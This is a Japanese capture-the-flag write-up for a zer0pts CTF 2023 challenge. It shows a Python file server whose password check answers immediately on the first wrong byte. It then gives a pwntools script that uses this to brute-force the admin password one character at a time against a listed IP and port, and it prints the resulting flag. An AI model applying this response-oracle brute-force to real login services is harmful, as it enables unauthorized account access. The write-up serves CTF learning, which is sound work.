Source: zer0pts CTF 2023
Author: ptr-yudai
usernameとpasswordでログインすることでファイルを閲覧できるサーバーが与えられる。
server.py
#!/usr/bin/env python3
import multiprocessing
import os
import signal
import socket
import re
assert os.path.isfile("secret/password.txt"), "Password file not found."
MAX_SIZE = 0x1000
LOGIN_USERS = {
b'guest': b'guest',
b'admin': open("secret/password.txt", "rb").read().strip()
}
PROTECTED = [b"server.py", b"secret"]
assert re.fullmatch(b"[0-9a-f]+", LOGIN_USERS[b'admin'])
class Timeout(object):
def __init__(self, seconds):
self.seconds = seconds
def handle_timeout(self, signum, frame):
raise TimeoutError('Timeout')
def __enter__(self):
signal.signal(signal.SIGALRM, self.handle_timeout)
signal.alarm(self.seconds)
return self
def __exit__(self, _type, _value, _traceback):
signal.alarm(0)
class PyNetworkFS(object):
def __init__(self, conn):
self._conn = conn
self._auth = False
self._user = None
def __del__(self):
self._conn.close()
@property
def is_authenticated(self):
return self._auth
@property
def is_admin(self):
return self.is_authenticated and self._user == b'admin'
def response(self, message):
self._conn.send(message)
def recvline(self):
data = b''
while True:
match self._conn.recv(1):
case b'': return None
case b'\n': break
case byte: data += byte
return data
def authenticate(self):
"""Login prompt"""
username = password = b''
with Timeout(30):
# Receive username
self.response(b"Username: ")
username = self.recvline()
if username is None: return
if username in LOGIN_USERS:
password = LOGIN_USERS[username]
else:
self.response(b"No such a user exists.\n")
return
with Timeout(30):
# Receive password
self.response(b"Password: ")
i = 0
while i < len(password):
c = self._conn.recv(1)
if c == b'':
return
elif c != password[i:i+1]:
self.response(b"Incorrect password.\n")
return
i += 1
if self._conn.recv(1) != b'\n':
self.response(b"Incorrect password.\n")
return
self.response(b"Logged in.\n")
self._auth = True
self._user = username
def serve(self):
"""Serve files"""
with Timeout(60):
while True:
# Receive filepath
self.response(b"File: ")
filepath = self.recvline()
if filepath is None: return
# Check filepath
if not self.is_admin and \
any(map(lambda name: name in filepath, PROTECTED)):
self.response(b"Permission denied.\n")
continue
# Serve file
try:
f = open(filepath, 'rb')
except FileNotFoundError:
self.response(b"File not found.\n")
continue
except PermissionError:
self.response(b"Permission denied.\n")
continue
except:
self.response(b"System error.\n")
continue
try:
self.response(f.read(MAX_SIZE))
except OSError:
self.response(b"System error.\n")
finally:
f.close()
def pynetfs_main(conn):
nfs = PyNetworkFS(conn)
try:
nfs.authenticate()
except TimeoutError:
nfs.response(b'Login timeout.\n')
if nfs.is_authenticated:
try:
nfs.serve()
except TimeoutError:
return
if __name__ == '__main__':
# Setup server
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
print("Listening on 0.0.0.0:10021")
sock.bind(('0.0.0.0', 10021))
sock.listen(16)
# Handle connection
ps = []
while True:
conn, addr = sock.accept()
ps.append(multiprocessing.Process(target=pynetfs_main, args=(conn,)))
ps[-1].start()
conn.close()
ps = list(filter(lambda p: p.is_alive() or p.join(), ps))
flagはsecret/flag.txt
にあるが、adminユーザーでなければ弾かれてしまう。よって、どうにかしてadminのパスワードを窃取する必要がある。
# Check filepath
if not self.is_admin and \
any(map(lambda name: name in filepath, PROTECTED)):
self.response(b"Permission denied.\n")
continue
パスワード入力時、入力された文字がpasswordと一致しなければ即座にIncorrect password.
を返しているのが気になる。
with Timeout(30):
# Receive password
self.response(b"Password: ")
i = 0
while i < len(password):
c = self._conn.recv(1)
if c == b'':
return
elif c != password[i:i+1]:
self.response(b"Incorrect password.\n")
return
i += 1
if self._conn.recv(1) != b'\n':
self.response(b"Incorrect password.\n")
return
pwntoolsなどを用いれば行単位ではなくバイト単位でデータを送信できるので、即座にレスポンスが返ってくるか否かで1文字ずつブルートフォースが可能。
pwntoolsのp.recvline(timeout=1)
で1秒以内にレスポンスが返ってきているかの場合分けができるので、それを用いてsolverを書く。
from pwn import *
host = "34.170.146.252"
port = 56226
# disable info log
context.log_level = "error"
charset = "0123456789abcdef"
password = ""
while True:
for i in range(len(charset)):
p = remote(host, port)
p.recvuntil("Username: ")
p.sendline("admin")
p.recvuntil("Password: ")
p.send(password + charset[i])
try:
recv = p.recvline(timeout=1)
if b"Incorrect password" in recv:
p.close()
continue
except EOFError:
break
password += charset[i]
print(password)
p.close()
break
if len(password) == 16:
p = remote(host, port)
p.sendlineafter("Username: ", "admin")
p.sendlineafter("Password: ", password)
p.sendlineafter("File: ", "secret/flag.txt")
print(p.recvline())
break
1文字試すごとに接続し直しているため時間がかかるが、flagが得られた。
zer0pts{d0Nt_r3sp0nd_t00_qu1ck}